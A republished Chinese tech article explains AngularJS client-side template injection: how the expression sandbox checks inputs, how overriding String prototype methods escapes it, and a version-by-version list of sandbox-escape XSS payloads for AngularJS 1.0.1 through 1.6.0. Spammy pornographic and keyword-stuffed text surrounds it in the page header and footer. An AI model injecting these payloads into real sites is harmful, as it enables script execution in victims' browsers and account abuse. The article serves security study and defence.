国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > JavaScript > 正文

AngularJs用戶輸入動態模板XSS攻擊示例詳解

2019-11-19 13:59:11
字體:
來源:轉載
供稿:網友

概述

XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁注入可執行代碼且成功地被瀏覽器執行,達到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶的聯系人列表,然后向聯系人發送虛假詐騙信息,可以刪除用戶的日志等等,有時候還和其他攻擊方式同時實施比如SQL注入攻擊服務器和數據庫、Click劫持、相對鏈接劫持等實施釣魚,它帶來的危害是巨大的,是web安全的頭號大敵。

前情提要

angularJs通過“{{}}”來作為輸出的標志,而對于雙括號里面的內容angularJs會計計算并輸出結果,我們可以在里面輸入JS代碼,并且一些語句還能得到執行,這使得我們的XSS有了可能,雖然不能直接寫函數表達式,但這并難不住我們的白帽。

沙箱檢驗

angularJs會對表達式進行重寫,并過濾計算輸出,比如我們輸入

{{1 + 1}} 

在JS中會被轉換成

"use strict";var fn = function(s, l, a, i) { return plus(1, 1);};return fn;

return fn;這里的返回會被angualrJs執行,angularJs改寫這個方法后轉換是這樣的

"use strict";var fn = function(s, l, a, i) { var v0, v1, v2, v3, v4 = l && ('constructor' in l), v5; if (!(v4)) { if (s) { v3 = s.constructor; } } else { v3 = l.constructor; } ensureSafeObject(v3, text); if (v3 != null) { v2 = ensureSafeObject(v3.constructor, text); } else { v2 = undefined; } if (v2 != null) { ensureSafeFunction(v2, text); v5 = 'alert/u00281/u0029'; ensureSafeObject(v3, text); v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert/u00281/u0029', text)), text); } else { v1 = undefined; } if (v1 != null) { ensureSafeFunction(v1, text); v0 = ensureSafeObject(v1(), text); } else { v0 = undefined; } return v0;};return fn;

angularJs會檢查每一個輸入的參數,ensureSafeObject方法會檢驗出函數的構造方法,窗口對象,對象,或者對象的構造方法,任意的其中一項被檢查出來,表達式都不會執行.angularJs還有ensureSafeMemeberName和ensureSafeFunction來過濾掉方法原型鏈方法和檢查這個指向。

如何逃逸

怎么樣能逃過模板的過濾呢,可以讓我們輸入的模板被角執行,因為angularJs不支持函數輸入,我們不可以直接覆蓋本地的JS函數。但在字符串對象中找到了漏洞,fromCharCode,則charCode, charAt,由于沒有重寫這些方法,通過改變本地的js函數,我可以在angularJs調用這些方法的時候為自己開一個后門,將我改寫的來覆蓋原來的函數。

'a'.constructor.fromCharCode=[].join;'a'.constructor[0]='/u003ciframe onload=alert(/Backdoored/)/u003e';

formCharCode方法執行的時候內部的this指向的是String對象,通過上面的可指執行語句,我們可以對fromCharCode 函數進行覆蓋,當在本頁面內執行時,比如:

onload=function(){document.write(String.fromCharCode(97));//會彈出 /Backdoored/ } 

還可以這樣

'a'.constructor.prototype.charCodeAt=[].concat

當angularJs調用charCodeAt函數時,我的代碼就被執行到angular源碼去了,比如說在這段里面有encodeEntities 方法用來對屬性和名稱做一個過濾然后輸出,

if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {out(' ');out(key);out('="');out(encodeEntities(value));//找的就是encodeEntities   out('"');}

具體的encodeEntities代碼如下:

function encodeEntities(value) {return value. replace(/&/g, '&'). replace(SURROGATE_PAIR_REGEXP, function(value) { var hi = value.charCodeAt(0); var low = value.charCodeAt(1); return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';'; }). replace(NON_ALPHANUMERIC_REGEXP, function(value) { return '&#' + value.charCodeAt(0) + ';';//這里發生了不好事情,我改寫了這個方法,可以植入一些惡意代碼,并且得到返回輸出  }).replace(/</g, '<').replace(/>/g, '>');} 

具體執行

//這是輸入代碼 {{ 'a'.constructor.prototype.charAt=[].join; $eval('x=""')+''}}//這是被覆蓋影響的代碼  "use strict";var fn = function(s, l, a, i) { var v5, v6 = l && ('x/u003d/u0022/u0022' in l);//被影響的 if (!(v6)) {  if (s) {   v5 = s.x = "";//被影響的  } } else {  v5 = l.x = "";//被影響的 } return v5;};fn.assign = function(s, v, l) { var v0, v1, v2, v3, v4 = l && ('x/u003d/u0022/u0022' in l);//被影響的 v3 = v4 ? l : s; if (!(v4)) {  if (s) {   v2 = s.x = "";//被影響的  } } else {  v2 = l.x = "";//被影響的 } if (v3 != null) {  v1 = v;  ensureSafeObject(v3.x = "", text);//被影響的  v0 = v3.x = "" = v1;//被影響的 } return v0;};return fn;
{{ 'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)')+'' //注入了alert(1) }}"use strict";var fn = function(s, l, a, i) { var v5, v6 = l && ('x/u003dalert/u00281/u0029' in l); if (!(v6)) {  if (s) {   v5 = s.x = alert(1);  } } else {  v5 = l.x = alert(1); } return v5;};fn.assign = function(s, v, l) { var v0, v1, v2, v3, v4 = l && ('x/u003dalert/u00281/u0029' in l); v3 = v4 ? l : s; if (!(v4)) {  if (s) {   v2 = s.x = alert(1);  } } else {  v2 = l.x = alert(1); } if (v3 != null) {  v1 = v;  ensureSafeObject(v3.x = alert(1), text);  v0 = v3.x = alert(1) = v1; } return v0;};return fn;

下面附上一些代碼,可以直接結合angularJs驗證

不同版本的實現代碼以及發現者:

1.0.1 - 1.1.5    Mario Heiderich (Cure53)

{{constructor.constructor('alert(1)')()}} 

1.2.0 - 1.2.1     Jan Horn (Google)

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2 - 1.2.5    Gareth Heyes (PortSwigger)

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window//u002ex)alert(window//u002ex=1)')+eval(y)+"'");}}

1.2.6 - 1.2.18    Jan Horn (Google)

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

1.2.19 - 1.2.23    Mathias Karlsson

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='/"+(y='if(!window//u002ex)alert(window//u002ex=1)')+eval(y)+/"'");}} 

1.3.0    Gábor Molnár (Google)

{{!ready && (ready = true) && (!call? $$watchers[0].get(toString.constructor.prototype): (a = apply) &&(apply = constructor) &&(valueOf = call) &&(''+''.toString('F = Function.prototype;' +'F.apply = F.a;' +'delete F.a;' +'delete F.valueOf;' +'alert(1);')));}} 

1.3.1 - 1.3.2    Gareth Heyes (PortSwigger)

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=''.valueOf; $eval('x=alert(1)//'); }}

1.3.3 - 1.3.18    Gareth Heyes (PortSwigger)

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//'); }}

1.3.19   Gareth Heyes (PortSwigger)

{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; $eval('x=alert(1)//'); }}

1.3.20    Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9    Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.5.0 - 1.5.8  Ian Hickey

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

1.5.9 - 1.5.11   Jan Horn (Google)

{{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a;}}

= 1.6.0 Mario Heiderich(Cure53)

{{constructor.constructor('alert(1)')()}} 

轉自:https://pockr.org/activity/detail?activity_no=act_017d460d4e5988dad2

總結

以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,如果有疑問大家可以留言交流,謝謝大家對武林網的支持。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 彰武县| 霸州市| 平罗县| 泰和县| 栖霞市| 高邑县| 平武县| 唐河县| 赣榆县| 龙口市| 荆门市| 南澳县| 阿拉尔市| 宜兴市| 望奎县| 金平| 陆川县| 吉木萨尔县| 平和县| 连城县| 安远县| 隆林| 湖北省| 三原县| 平度市| 湟源县| 汨罗市| 华阴市| 湾仔区| 宜州市| 东港市| 阿拉善右旗| 开化县| 九龙坡区| 镇巴县| 汶上县| 民勤县| 安达市| 炎陵县| 太白县| 两当县|